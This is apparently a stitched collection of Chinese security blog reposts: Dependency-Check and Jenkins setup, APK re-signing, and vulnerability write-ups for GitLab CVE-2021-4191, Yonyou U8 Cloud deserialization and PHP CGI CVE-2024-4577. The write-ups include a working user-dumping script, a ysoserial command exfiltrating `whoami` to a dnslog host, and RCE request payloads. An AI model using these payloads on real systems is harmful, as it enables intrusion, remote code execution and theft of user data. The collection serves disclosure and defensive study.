  • –advancedHelp:打印高级帮助信息。
  • –enableExperimental:启用实验性的分析器。
  • –exclude :指定一个排除模式。可以多次指定此选项,并接受 Ant 风格的排除。
  • -f,–format :指定报告格式(HTML、XML、CSV、JSON、JUNIT、SARIF、JENKINS 或 ALL)。默认为 HTML。可以指定多个格式参数。
  • –failOnCVSS :指定如果检测到 CVSS 分数高于指定级别的漏洞,构建是否应该失败。默认为 11;由于 CVSS 分数为 0-10,因此默认情况下构建永远不会失败。
  • -h,–help:打印帮助信息。
  • –junitFailOnCVSS :指定在生成 junit 报告时,被认为是失败的 CVSS 分数。默认值为 0。
  • -l,–log :写入详细日志信息的文件路径。
  • -n,–noupdate:禁用自动更新 NVD-CVE、hosted-suppressions 和 RetireJS 数据。
  • -o,–out :写入报告的文件夹路径。默认为当前目录。如果未将格式参数设置为 ALL,则可以将其设置为特定的文件名。
  • –prettyPrint:指定 JSON 和 XML 报告格式将被漂亮地打印。
  • –project :正在扫描的项目的名称。
  • -s,–scan :要扫描的路径 - 可以多次指定此选项。支持 Ant 风格的路径(例如,’path/**/*.jar’);如果使用 Ant 风格的路径,则强烈建议将参数值用引号引起来。
  • –suppression :抑制 XML 文件的文件路径。可以多次指定此选项以使用多个抑制文件。
  • -v,–version:打印版本信息。

对webgoat7的组件进行扫描

https://github.com/mpogr/WebGoat-7.0.1

1
./dependency-check.sh -s /tmp/WebGoat-7.0.1/ --project webgoat

输出扫描报告,没有扫描到有用的东西。

image

jenkins

docker启动Jenkins

1
docker run -itd -p 8080:8080 -p 50000:50000 -u root -v /tmp/jenkins:/var/jenkins_home   -v  /tmp/maven:/usr/local/maven jenkins/jenkins:2.344

安装插件

image

全局工具配置

Jenkins可以通过全局工具配置来安装一个或多个Dependency-Check版本。可以自动安装Dependency-Check,这将从Github下载并提取官方的命令行界面(CLI),或者可以手动安装官方版本,并在配置中引用安装路径。Dependency-Check是一个用于识别应用程序中存在的已知漏洞和依赖项的开源工具。

image

Builder

Builder是指使用预定义的Dependency-Check CLI安装之一执行分析的组件。在Jenkins中,特定于配置的部分很少,工作配置中的重要方面是“Arguments”字段,该字段直接发送到定义的CLI安装程序。Builder用于在Jenkins工作流中集成Dependency-Check分析。Builder的配置将传递给Dependency-Check CLI进行分析,并将分析结果传递回Jenkins用于显示和后续处理。

对webgoat进行maven编译,生成JAR包

image

Publisher

Publisher是一个独立于工具配置或Builder的组件,负责读取dependency-check-report.xml并生成指标、趋势、发现,并根据可配置的阈值选择性地将构建设为失败或警告状态。在Jenkins工作流程中,Publisher用于生成Dependency-Check的度量和报告,并可根据预定义的阈值将构建标记为失败或警告状态。通过读取dependency-check-report.xml文件,Publisher可以对构建进行分析并提供有关依赖项和已知漏洞的详细信息。

image

结果

构建结果

image

当任务配置了Publisher时,趋势图将显示按严重性分组的结果总数。

image

点击Latest Dependency-Check,可以看到具体的组件报告

image

image

maven

mvn

这是 Maven 插件 Dependency-Check 的命令,用于检测应用程序依赖项中已知漏洞并生成报告。

1
mvn org.owasp:dependency-check-maven:check
1
mvn org.owasp:dependency-check-maven:aggregate

命令执行是全面的漏洞扫描,并生成包含所有依赖项中已知漏洞信息的报告

image

使用maven进行扫描webgoat7可以看到报告里面有JAR包组件漏洞,比直接CLI扫描更能发现问题。

image

pom.xml

①检测组件

在目标目录中创建 dependency-check-report.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

在IDEA进行maven verify,生成报告

image

②检测所有依赖项

在站点内创建汇总的依赖性检查报告

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<reporting>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<reportSets>
<reportSet>
<reports>
<report>aggregate</report>
</reports>
</reportSet>
</reportSets>
</plugin>
...
</plugins>
...
</reporting>
...
</project>

③CVSS评分过滤

创建 dependency-check-report.html 并使 CVSS 大于或等于 8 的构建失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<failBuildOnCVSS>8</failBuildOnCVSS>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

效果如下

image

④跳过没有使用到组件

通常情况下,使用 mvn org.owasp:dependency-check-maven:aggregate命令来运行 OWASP 的 “dependency-check-maven” 插件,以检查项目依赖项中是否存在已知的安全漏洞,并生成报告。

但是,有时候我们不想包含某些依赖项,比如 provided 范围的依赖,这些依赖项不会被打包到分发包中,因此不需要进行漏洞检查。在这种情况下,可以使用上述命令来创建报告并跳过这些依赖项,以提高效率和减少报告中的噪音。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<skipProvidedScope>true</skipProvidedScope>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑤使用内部CVE源

创建 dependency-check-report.html报告文件,并使用内部 CVE 内容的镜像。这意味着,dependency-check-maven插件将使用本地存储的 CVE 内容,而不是从网络上获取。这通常可以提高扫描的速度,并且可以在没有网络连接的情况下进行扫描。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<cveUrlModified>http://internal-mirror.mycorp.com/nvdcve-1.1-modified.json.gz</cveUrlModified>
<cveUrlBase>http://internal-mirror.mycorp.com/nvdcve-1.1-%d.json.gz</cveUrlBase>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑥仅更新仓库

从 NIST 更新 NVD 数据的本地缓存,而不分析依赖关系。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<executions>
<execution>
<goals>
<goal>update-only</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

⑦抑制误报

使用多个抑制文件(例如公司范围的抑制文件和本地项目文件)抑制误报。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<configuration>
<suppressionFiles>
<suppressionFile>http://example.org/suppression.xml</suppressionFile>
<suppressionFile>project-suppression.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

【安全测试】Owasp Dependency-check 集成jenkins

【安全测试】Owasp Dependency-check 集成jenkins

本文转自 码上起舞 并作补充

一、目的

本文主要记录我在搭建安全体系中第三方依赖检查的过程中,使用Owsap dependency-check的过程及问题

二、OWASP Dependency-check简介

dependency-check适用于对代码中使用到的第三方依赖包进行扫描检测,查看引入的第三方包是否有已知的漏洞和缺陷,及早暴露风险及解决。

其原理可以在另一篇文章中查看。

三、OWASP Dependency-check 安装及使用

dependency check支持jenkins插件集成,也支持linux下命令行模式执行,还支持maven等。

ps:maven集成需要修改pom.xml,然后用命令

  • mvn org.owasp:dependency-check-maven:check
  • mvn dependency:list|grep -i “log4j*”
  • mvn dependency:tree

我们采用linux下命令行模式执行,然后在jenkins中execute shell集成denpendency-check的脚本,并利用jenkins插件,发布dependency-check的报告。

3.1 dependency-check下载

  1. command line安装包下载地址:https://owasp.org/www-project-dependency-check/
  2. jenkins插件下载地址:http://updates.jenkins-ci.org/download/plugins/dependency-check-jenkins-plugin/

image

点击Command Line,即可下载 dependency-check-7.0.4-release.zip

3.2 dependency-check使用(纯cmd模式)

将下载下来的dependency包解压后,进入bin目录,可以看到有dependency-check.sh 和dependency-check.bat脚本,sh脚本是linux使用脚本,bat是windows使用脚本。

我们以linux使用为例,将解压后文件夹拷贝到linux目录/data/tools

进入bin目录,执行 sh dependency-check.sh -help 查看命令行使用帮助。

执行扫描命令如下:

DIR=/data/tools/apps/

sh /data/tools/dependency-check/bin/dependency-check.sh -s ${DIR} –format HTML –format XML -o ./ –disableNodeAudit

命令行说明:

  • -s :扫描对象的路径,扫描的是文件夹路径下的所有文件的,例如war包,jar包均可被扫描
  • –format:生成报告的格式
  • -o :报告生成的路径

3.3 查看扫描结果

在-o指定的路径下会生成dependency的dependency-check-report.html报告,浏览器打开即可查看扫描内容

image

扫描结果会有个工程汇总信息,总共扫描多少个dependencies,有多少个漏洞被发现等

在工程信息下面会有汇总信息,比如对应的每个依赖包,例如abc.jar包,对应的cpe信息,以及枚举的漏洞级别数量等信息,每个漏洞对应具体的CVE号。需要具体分析;

也可以结合jenkins发布xml报告,查看更详细的信息,见步骤四。

四、dependency-check集成jenkins配置

  • 目的:扫描指定路径下的文件,路径下可能有需要部署的jar包和war包。路径暂定jenkins的变量${WORKSPACE}
  • 前提:
  1. 安装jenkins的dependency-check查看,方便发布报告用。
  2. 部署jenkins的linux服务器上已经安装第三部安装好dependency check软件包。

4.1 新建jenkins工程,自由风格

配置完成后构建效果如下,可以上传文件(jar,war,zip等包,点击构建开始扫描)

image

配置上传文件如下:

image

4.2 execute shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
cp jsrepository.json.right jsrepository.json #这步是因为有时候会构建失败,然后发现jsrepository.json是空的,每次扫描前用一个正确的去替换,确保扫描的稳定性
echo ${BUILD_NUMBER}echo ${WORKSPACE}cd ${WORKSPACE}
sh /home/appdeploy/dependency-check/bin/dependency-check.sh -s ${WORKSPACE}/file/ --format HTML --format XML -o ./
#如果使用本地库,需加上如下命令参数(本地镜像库需自己搭建后,将这些文件发布成可以http访问)
--cveUrlModified http://nvdcve-mirror.domain.com/nvdcve-1.1-modified.json.gz  --cveUrlBase http://nvdcve-mirror.domain.com/nvdcve-1.1-%d.json.gz

### 4.3 jenkins发布xml报告

![image](5.png)

### 4.4 jenkins发布html报告

![image](6.png)

### 4.5 构建完成后查看html报告

![image](7.png)

### 4.6 查看jenkins发布的xml报告

点击进入构建号的build页,左侧可以看到Dependency-check的选项,点击即可出现表格式的漏洞汇总

![image](8.png)

![image](9.png)

说明:在这个dependecny-check结果列表里面,会列出所有有漏洞的第三方依赖包,包括依赖包的名字,对应的漏洞CVE id,漏洞等级等信息,点击对应的包名,可以查看依赖包所在的路径,以及漏洞的描述。如果信息不够,可以查看html中的详细内容,以及搜索对应的CVE编号,去NVD漏洞库中查看完整的漏洞信息及解决方案。

NVD漏洞库:https://nvd.nist.gov/vuln/detail/CVE-2020-44226

不同的漏洞编号,替换后面的CVE编号查询即可。

**报告中一些重要字段的含义:**

· Dependency - 被扫描的第三依赖库名字

· CPE - 所有被识别出来的CPE.

· GAV - Maven 组, Artifact, 版本 (GAV).

· Highest Severity - 所有关联的cve的最高漏洞等级

· CVE Count - 关联的cve个数

· CPE Confidence - dependency-check正确识别cpe的程度

· Evidence Count - 识别CPE的数据个数

### 4.7 举一反三

- 1.扫描中的dir可以提取出来当build with param的参数,可以单独执行,也可以上下游工程串联执行
- 2.扫描中的dir可以是git自动down下来的文件夹目录,即只要构建参数指定git地址和分支名称,即可实现对该分支自动扫描

## 五、解析html文件用于消息的发送

解析html报告的代码文件get_security_result.py,获取html报告中summary数据中的critical的漏洞数量

```python
from bs4 import BeautifulSoup
from lxml import etree

class GetSecRes:

def get_dependency_critical_num_with_lxml(self, filename):
'''
用lxml库解析安全扫描的html报告,并统计出其中的critical的漏洞数量
:param filename: dependency-check扫描完成后生产的html文件,文件名全路径
:return:critical数量
'''
# 读取html文件
with open(filename, encoding='utf-8') as f:
data = f.read()
doc = etree.HTML(data)
# 获取漏洞汇总表中的漏洞行信息
trs = doc.xpath('//*[@id="summaryTable"]//tr[@class=" vulnerable"]')
criticalres = []
# 统计出每行的critical数量
for tr in trs:
tr_list = tr.xpath('./td/@data-sort-value')
td_text = tr.xpath('./td/text()')
tr_list.extend(td_text)
[criticalres.append(td) for td in tr_list if "CRITICAL" == td]
return (len(criticalres))

if __name__ == '__main__':
import sys
filename = sys.argv[1]
criticalres = GetSecRes().get_dependency_critical_num_with_lxml(filename)
print(criticalres)

集成get_security_result.py到jenkins的execute shell中(在sh下执行python脚本)

1
2
critical=$(python3 /data/script/get_security_result.py ${DIR}/dependency-check-report.html)
echo $critical

六、Troubshooting

6.1 Could not connect to Central search. Analysis failed.

问题描述:jenkins构建时,提示连接失败

image

问题解决:
https://issues.jenkins.io/browse/JENKINS-47991
1.原因是jenkins访问maven失败,需要在jenkins服务器开通访问 https://search.maven.org/这个地址的权限
2.测试访问:
# curl https://search.maven.org/

6.2 Failed to request component-reports

问题描述:

jenkins构建dependency-check时,生成报告,报错

image

问题解决:
1.原因是因为jenkins服务器无法访问https://ossindex.sonatype.org/
加上授权即可构建成功

6.3 owasp 需要的外网访问权限包括

https://nvd.nist.gov
https://search.maven.org/
https://ossindex.sonatype.org/
https://retirejs.github.io
https://github.com/advisories
https://registry.npmjs.org
https://www.npmjs.com

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

本文转自 jake-baines 并作补充

2022年2月25日,GitLab发布了针对CVE-2021-4191的修复程序,该漏洞属于CWE-359 “向未经授权的攻击者暴露私人个人信息”的一个实例。此漏洞现已修复,影响GitLab 13.0及更高版本。该漏洞是由于执行某些GitLab GraphQL API查询时缺少身份验证检查造成的。远程未经身份验证的攻击者可以利用此漏洞收集已注册的GitLab用户名、姓名和电子邮件地址。我们对此问题的初始CVSSv3基本评分为5.3

Metasploit 模块已可用,我们预计该漏洞会被用于信息收集和用户名列表生成。单独使用该漏洞的影响可能微乎其微,但如果结合暴力破解密码和撞库攻击,则可能造成严重后果。

Credit

该问题由高级安全研究员Jake BainesRapid7 的漏洞披露计划中发现并报告。

Impact

GitLab GraphQL API 信息泄露事件允许远程未经身份验证的攻击者恢复用户名、姓名,有时甚至包括电子邮件地址。乍一看,这似乎风险很小。然而,账户发现之所以是 MITRE ATT&CK 框架中的一项技术,是有原因的。收集有效用户账户列表是各种暴力破解攻击的第一步,例如密码猜测密码喷洒凭证填充攻击

这类攻击看似简单,但却十分有效。包括EmotetFancy BearNobelium在内的许多成功的恶意软件/组织都曾使用过这种技术。

开源攻击性安全社区也投入了大量时间开发暴力破解工具,这再次印证了暴力破解在实际攻击中仍然是一种可行的攻击手段。诸如ncrackPatatorCrackMapExecTHC-Hydra等开源暴力破解工具就是例证。

利用攻击者提供的用户名列表实施攻击。GitLab GraphQL API 信息输出的是有效的用户名。因此,此漏洞与现有工具相辅相成。

虽然攻击者总是可以使用包含已知用户名的常用 字典,但暴力破解攻击利用被攻击组织的已知有效用户名,可以提高其成功几率。

此次信息泄露还可能使攻击者能够基于 GitLab 安装创建新的用户名字典——不仅包括 gitlab.com,还包括可以从互联网访问的其他 50,000 个 GitLab 实例。

image

这样的字典并非史无前例。2021年,Clubhouse 曾公开一个 API,允许未经认证的用户枚举 Clubhouse 的用户群。攻击者利用该 API 将数据合并到一个数据库中,然后将其发布到黑客论坛上供任何人使用。

需要注意的是,这并非 GitLab 首次从 API 泄露类似细节。早在 2015 年,MWR Infosecurity就发布了一篇博客文章和一个未经身份验证的远程Metasploit 模块,该模块使用 /api/v3/internal/discover?key_id= API 枚举用户帐户。

Exploitation

经与 GitLab 工程团队协商,我们确认该问题最初是在 GitLab 13.0 中引入的。

存在漏洞的端点是 /api/graphql。GitLab文档指出,身份验证使用个人访问令牌,如下所示。

image

然而,并非所有对该端点的请求都需要身份验证。GitLab 的 /-/graphql-explorer 端点是测试这一点的理想场所。在下图左侧,您可以看到一个用于获取所有用户 ID、姓名和用户名的 GraphQL 请求,右侧则是响应。

image

除了ID、姓名和用户名之外,攻击者还可以获取更多信息。以下列出了未经身份验证的远程攻击者可以窃取的更完整信息列表。

image

以下 Python 脚本将打印一个 CSV 文件,其中包含已发现的 ID、用户名、姓名、电子邮件地址以及用户是否为机器人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = """query
{
users"""
query_paging_info = ""
query_payload = """
{
pageInfo {
hasNextPage
hasPreviousPage
endCursor
startCursor
}
nodes {
id
bot
username
email
publicEmail
name
webUrl
webPath
avatarUrl
state
location
status {
emoji
availability
message
messageHtml
}
userPermissions {
createSnippet
}
groupCount
groups {
nodes{
id
name
fullName
fullPath
}
}
starredProjects {
nodes{
name
path
fullPath
}
}
projectMemberships {
nodes {
id
createdAt
}
}
namespace{
id
name
path
fullName
fullPath
lfsEnabled
visibility
requestAccessEnabled
sharedRunnersSetting
}
callouts {
nodes{
featureName
dismissedAt
}
}
}
}
}
"""

more_data = True

print("id,username,name,publicEmail,bot")
while more_data == True:
query = query_header + query_paging_info + query_payload
json_data = client.execute(query=query)

if "errors" in json_data:
print("Received error in response. Exiting. ")
print(json.dumps(json_data))
sys.exit(0)

for user in json_data["data"]["users"]["nodes"]:
print(user["id"] + "," + user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))

if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
query_paging_info = "(after:\"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "\")"
else:
more_data = False

以下是上述输出的示例:

1
2
3
4
5
6
albinolobster@ubuntu:~$ python3 gitlab_enum.py --rurl http://10.0.0.6/api/graphql
id,username,name,publicEmail,bot
gid://gitlab/User/4,test,George,test@test.com,False
gid://gitlab/User/3,support-bot,GitLab Support Bot,,True
gid://gitlab/User/2,alert-bot,GitLab Alert Bot,,True
gid://gitlab/User/1,root,Administrator,,False

除了构建用于凭证攻击的用户名列表外,攻击者还可以利用这些信息来发现受影响用户的其他社交媒体帐户和联系人。这可以通过查询单个 GitLab 个人资料页面或简单地将用户名、姓名和电子邮件地址与其他来源进行交叉比对来实现。这种信息收集方式使攻击者能够发起更复杂的网络钓鱼攻击。

Mitigation

除非您打算将 GitLab 作为任何人都可以访问的公共资源提供,否则请确保您的 GitLab 实例无法从互联网访问。当然,我们也强烈建议用户将 GitLab 服务器实例更新到最新版本(14.8.2、14.7.4 和 14.6.5)。禁用公开个人资料也是防止未经授权的信息收集的有效措施。

要禁用公开个人资料,请转到“管理区域”->“常规”->“可见性和访问控制”->“受限可见性级别”。然后选中“公开”旁边的复选框。这样应该可以阻止任何未登录的用户查看用户个人资料。

Disclosure timeline

  • 2021年11月: Rapid7公司的Jake Baines初步发现并确认。
  • 2021年11月18日,星期四:首次联系GitLabs
  • 2021年11月23日,星期二:已向 GitLabs 提交问题 #1408214,并提供了完整的技术细节。
  • 2022年1月17日,星期一:供应商表示,在11月和12月多次更新状态后,修复程序即将推出。
  • 2022年2月8日,星期二:修复程序已准备就绪,经过测试,将在下一次安全更新中发布。
  • 2022年2月25日,星期五: 发布了针对CVE-2021-4191的补丁
  • 2022年3月1日,星期二: Metasploit模块PR#16252已提交,用于修复CVE-2021-4191漏洞。
  • 2022年3月3日,星期四:公开披露CVE-2021-4191(本文档)

用友U8 Cloud 反序列化RCE漏洞复现

用友U8 Cloud 反序列化RCE漏洞复现

本文转自 OidBoy_G 并作补充

0x01 产品简介

用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。

0x02 漏洞概述

用友U8 Cloud存在多处(FileManageServlet和LoginVideoServlet)反序列化漏洞,系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作,结合系统本身存在的反序列化利用链,最终造成远程代码执行。

0x03 影响范围

用友U8 Cloud 所有版本

0x04 复现环境

FOFA:app=”用友-U8-Cloud”

0x05 漏洞复现

两处接口的反序列化漏洞路径:

1
2
/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet
/servlet/~uap/nc.bs.sm.login2.LoginVideoServlet

PS:用友的反序列化漏洞大部分cc6就可以直接打,post请求传入反序列化的二进制数据 就可以进行命令执行,ysoserial工具集成了多种cc链,感兴趣的可以研究研究

工具地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

构造序列化数据(jdk1.8)

1
java -jar ysoserial-all.jar CommonsCollections6 "ping `whoami`.l4z6nq7x.dnslog.pw" >4.ser

PoC

1
2
3
4
5
6
7
8
9
10
11
POST /servlet/~uap/nc.impl.pub.filesystem.FileManageServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}

POST /servlet/~uap/nc.bs.sm.login2.LoginVideoServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}

PS:里面生成序列化数据文件的路径自行修改

两个路径都可以打,自行测试

0x06 修复建议

官方修复方案

用友安全中心已发布官方补丁:

https://security.yonyou.com/#/noticeInfo?id=400

https://security.yonyou.com/#/noticeInfo?id=399

临时修复方案:

使用ACL网络策略限制访问来源;

使用防护类设备对/servlet/uap/nc.impl.pub.filesystem.FileManageServlet和/servlet/uap/nc.bs.sm.login2.LoginVideoServlet路径进行防护。

Android加固之后Apk重签名

Android加固之后Apk重签名

本文转自 ganzhijie 并作补充

Java:jarsigner java自带的jar签名,也就是我们Android打包的v1签名,签名方案只能v1。
Android:apksigner Android特有的签名,也就是打包的v2签名,支持多种签名方案(v1~v4)。

需要注意的是,因为 apksigner 是Google在 Android 7.0 Nougat 推出的,所以我们的版本号的选择需要 >= 24.0.3 ,否则只能选择 jarsigner 方式打v1包。

如果您使用的是 apksigner,则必须在为 APK 文件签名之前使用 zipalign。如果您在使用 apksigner 为APK 签名之后对 APK 做出了进一步更改,签名便会失效。
如果您使用的是 jarsigner,则必须在为 APK 文件签名之后使用 zipalign。

下面是检查apk是否对齐的方法,打开终端输入:
zipalign -c -v 4 apk路径
例如:
zipalign -c -v 4 /android/tools/jiagu/apk/jiagu.apk

接下来就是利用终端,实现apk对齐操作,在打开的终端输入:
zipalign -v 4 「需要对齐操作的apk地址」 「对齐之后生成的地址」
例如:
zipalign -v 4 /android/tools/jiagu/apk/jiagu.apk /android/tools/jiagu/apk/zipaligned.apk
出现 “Verification succcessful” 为对齐成功。

下面是检查是否签名的终端语句,在打开的终端输入:

apksigner verify -v 检查的apk路径
例如:
apksigner verify -v /android/tools/jiagu/apk/zipaligned.apk

接下来继续在终端输入「apksigner」重签名语句

apksigner sign -verbose –ks 「jks文件路径」 –v1-signing-enabled (「true/false」v1打包开启/关闭) –v2-signing-enabled (「true/false」v2打包开启/关闭) -ks-key-alias (jks别名 key-alias) –ks-pass pass: (jks密码,key store password) –key-pass pass:(key 密码,key password) –out 「生成的apk路径,重签名后的」 「对齐之后的apk路径」
例如:
apksigner sign -verbose –ks /android/tools/jiagu/apk/ks/abc.keystore –v1-signing-enabled true –v2-signing-enabled true –ks-key-alias abc.keystore –ks-pass pass:123456 –key-pass pass:123456 –out /android/tools/jiagu/apk/signed.apk /android/tools/jiagu/apk/zipaligned.apk
终端运行结果如下:出现 Signed 则为重签名成功。

总结:apksigner签名流程。

加固并下载 ===> 检查是否对齐 ===> 对齐「zipalign」 ===> 检查是否对齐 ===> 检查apk是否签名 ===> 「apksigner」重签名 ===> 是否重签名成功

PHP CGI 远程代码执行漏洞分析(CVE-2024-4577)

PHP CGI 远程代码执行漏洞分析(CVE-2024-4577)

本文转自 洞源实验室 并作补充

本文分析了由DEVCORE团队研究发现的PHP CGI在Windows平台的远程代码执行漏洞(CVE-2024-4577),探讨了漏洞的技术细节、背景、利用条件以及修复建议。PHP官方团队已于2024年6月6日发布了新版本修复CVE-2024-4577,该漏洞利用前置条件较低且危害较大,建议尽快升级到安全版本。

0x00 漏洞概述

CVE-2024-4577是一个影响在Windows平台上运行的PHP CGI的远程代码执行漏洞。

漏洞的存在是因为PHP在设计时未能预见到Windows的Best-Fit字符编码转换特性,这使得攻击者可以通过构造特定的请求来绕过安全限制。受影响的环境包括使用特定语系设置的Windows系统,如简体中文(936)、繁体中文(950)和日文(932)。

0x01 影响范围

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

其他版本的PHP官方已不在维护,建议根据实际情况升级到安全版本或者关闭php-cgi的使用。

0x02 复现

使用php://input流接收POST请求传入的参数实现RCE``

1
{host}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

image

0x03 漏洞背景

PHP的SAPI(Server Application Programming Interface)是PHP为了在不同服务器环境中运行而提供的一套应用程序编程接口。SAPI定义了PHP如何与其所在环境的Web服务器或其它类型的服务器进行交互。简而言之,SAPI是PHP与服务器软件通信的桥梁。

在PHP中,通常有三种主流的SAPI实现方式:

PHP-FPM:这是一种FastCGI协议的解析器,它的主要任务是接收来自Web服务器,按照FastCGI协议格式封装的请求数据,并将其传递给PHP解释器进行处理。

mod_php****:这是Apache服务器的一个模块,专门用于处理PHP和Apache之间的数据交换工作。

PHP-CGI:它具备两种模式的交互能力,既可以作为CGI程序运行,也可以作为FastCGI服务运行。PHP-CGI在以CGI模式运行时爆出了安全漏洞CVE-2012-1823 。

发现漏洞的团队也用了这个趣图来比喻这三种SAPI。

image

回顾CVE-2012-1823这一PHP CGI环境下的安全缺陷,Web服务器将HTTP请求解析后转发给PHP脚本。以http://host/cgi.php?a=b为例,该请求可能在命令行中以php.exe cgi.php a=b的形式被处理。

根据RFC3875的规范,如果查询字符串内缺少未解码的等号,那么整个查询字符串应当被视为CGI的参数进行传递。这便意味着,如果URL中的查询字符串部分省略了等号,它将未经适当处理就被传递给php-cgi,为攻击者提供了注入非法命令行参数的机会。要有效利用这一漏洞,需了解php-cgi支持哪些命令行参数。

image

使用-d参数来指定配置项的值实现RCE:allow_url_include选项如果被设置为On,PHP将允许包含(include)通过URL指定的文件,auto_prepend_file%3dphp%3a//input:这个参数设置auto_prepend_file配置项,使其指向php://input流。php://input是一个可以读取通过POST方法发送到脚本的原始数据的流。通过设置这个配置,攻击者可以控制PHP脚本执行前自动包含的文件,这里实际上是包含了通过POST发送的数据。

image

0x04 漏洞原理

CVE-2024-4577是依托于Windows系统中字符编码转换的Best-Fit特性对CVE-2012-1823的绕过。Windows系统中字符编码转换的Best-Fit特性是指Windows操作系统在处理不同字符编码集之间的转换时使用的一种匹配机制。当系统中存在无法直接映射到目标编码集的字符时,Best-Fit特性会尝试寻找一个在语义或外观上最接近的字符来进行替代显示或处理。

这种特性在多语言支持和国际化软件的开发中非常重要,因为它可以提高不同语言环境下用户界面的可读性和一致性。然而,在某些情况下,Best-Fit特性也可能带来安全隐患,尤其是在处理来自不可信来源的输入时。例如,在Web应用中,如果攻击者能够利用Best-Fit特性将特殊字符转换为具有不同语义的字符,就可能绕过安全检查,导致安全漏洞,如这次的CVE-2024-4577就是利用了%ad这个特殊字符,通过Best-Fit匹配到的是连字符(”-“)。

查看这次补丁的commit来分析为什么是连字符(”-“):

1
https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798

image

PHP的源代码中原先已经实现了对特定字符(如连字符-)的过滤逻辑,这是对CVE-2012-1823的修复代码,如下是CVE-2012-1823的poc,对比CVE-2024-4577的poc可以看到,主要差别在于(连字符-)变成了%AD。

image

image

通过使用%ad代替常规的连字符-,绕过了原本应该阻止参数传递的安全机制,导致攻击者能够成功注入并执行非法的参数,为了修复CVE-2024-4577,在最新的代码更新中,考虑到了Windows系统中Best-Fit特性的影响,将所有高于0x80的字符也纳入了限制范围。代码注释中对此也进行了详细说明,阐述了采取这一措施的背景。

